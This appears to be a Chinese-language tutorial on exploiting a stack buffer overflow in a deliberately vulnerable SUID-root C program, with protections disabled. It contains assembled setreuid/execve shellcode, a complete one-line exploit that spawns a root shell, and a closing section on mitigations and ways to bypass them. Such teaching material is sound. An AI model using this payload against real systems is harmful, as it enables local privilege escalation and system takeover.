0x00 前言
- 缓冲区溢出是一种历史悠久的漏洞,早在 1988 年,由罗伯特,莫里斯(R ob。rtMorris)制造的 Morris 蠕虫,它曾造成全世界6000多台网络服务器瘫痪。
- 虽然这一漏洞出现时间很久远,现有的防御方法也很有效,但我觉得它依然有很大的研究意义。毕竟攻防没有任何一端会停滞,理解旧的漏洞也是为了更好地理解新的攻击手段,进而更好地完善防御方法。
0x01 环境
ubuntu 16.04.4 LTS x86-64
由于现代操作系统针对缓冲区溢出已经有很完善的防御机制,为方便演示,我们进行如下配置:
文章最后会具体介绍防御的方法
0x02 具体步骤
首先看一下源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
void vuln(char *s) {
char buf[128];
strcpy(buf, s);
printf("%s\n", buf);
}
int main(int argc, char * argv[]) {
vuln(argv[1]);
return 0;
}通过 strcpy 函数,我们将
argv[1]
的值直接拷贝给 buf,如果长度大于其缓冲区的长度,将会发生溢出,只要能正确覆盖 vuln 的返回值,我们就能控制程序流。编译并将可执行程序的所有者改为 root,并置 SUID 位
对 main 和 vuln 反汇编
lea -0x88(%esp), %eax
是将 buf 的起始地址赋值给 eax 寄存器,因此,buf 距离 ebp 的偏移是 0x88,payload 总长度再加上 4 字节(覆盖 ebp)和 4 字节(覆盖返回地址)即可。这样,我们可以这样构造 payload:blabla(96 字节) + shellcode(44 字节) + ret_addr(4 字节)
那么shellcode 应该长啥样呢?
首先要明确两点,一是获取 shell,二是以 root 权限执行,为方便实现后者,我已经在第二步对可执行程序设置了 SUID 位。
对于第一点,我们可以让程序执行
execve("/bin/sh", 0, 0)
这样的语句,在 x86 32 位平台下,该函数执行本质是这样的:三个参数分别保存到 ebx、ecx、edx,进而根据系统调用号(存放在 eax 中),通过int 0x80
中断,调用了sys_execve
。因此,构造的 shellcode 类似这样:1
2
3
4
5mov "/bin/sh", %ebx
mov $0, %ecx
mov $0, %edx
mov $0xb, %eax
int $0x80 ;调用 execve对于第二点,我们可以通过
setreuid(geteuid(), geteuid())
实现,该函数将geteuid()
(根据 SUID 位,返回值是 0)得到的值设置为目前进程真实用户识别码,这样,获得的 shell 就是 root 用户的了。为此,shellcode 类似这样:1
2
3
4
5
6mov $0xc9, %eax
int $0x80 ;调用 geteuid,返回值存于 eax
mov %eax, %ebx
mov %eax, %ecx
mov $0xcb, %eax
int $0x80 ;调用 setreuid由于程序编译成 32 位,因此系统调用号可以按下面的方法找:
完整 shellcode 如下:
最后,要确定 shellcode 的地址,由于关闭了 ASLR,所以每次执行程序,shellcode 在地址空间中的位置都是不变的。我们 gdb 调试程序:
shellcode 会出现在 0xffffd181 处,所以,payload 最后面四个字节应该是(注意是小端序):\x81\xd1\xff\xff
exp
1
./overflow `python -c 'print "A" * 46 + "\x31\xc0\xb0\xc9\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\xcb\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + "A" * 50 + "\x81\xd1\xff\xff"'`
0x03 防御
通过 checksec 看一下可执行程序的防御机制
Arch 是运行平台RELRO
RELRO会有 Partial RELRO 和 FULL RELRO,如果开启FULL RELRO,意味着我们无法修改 GOT 表Stack
要想执行任意代码,需要覆盖函数的返回地址。Canary 机制就是为了防止这一手段,可以把它看成是一个随机值,在被调用函数压入 EBP 前压入栈(即位于返回地址和 EBP 之间),当函数返回时,会先验证这个值是否改变,如果改变了,程序停止执行。这样就防止攻击者覆盖返回地址。当然,如果 Canary 随机值由于某种情况泄漏,依然可以造成攻击。NX
也称 DEP(数据执行保护),如果启用,地址空间中任何用户可控的地方都会禁止执行,可执行部分也禁止用户写入。常通过 Ret2Lib 以及 ROP 去绕过。PIE
如果开启了,程序每次运行地址都会变化(比如库函数、变量等,再例如之前的 shellcode 地址就没法通过gdb 调试得到结果,因为每次执行程序 shellcode 的地址都不同)。但仍可通过 libc 基址泄漏、构造 ROP 方式构造攻击向量,甚至在 32 位机器上可以暴力破解。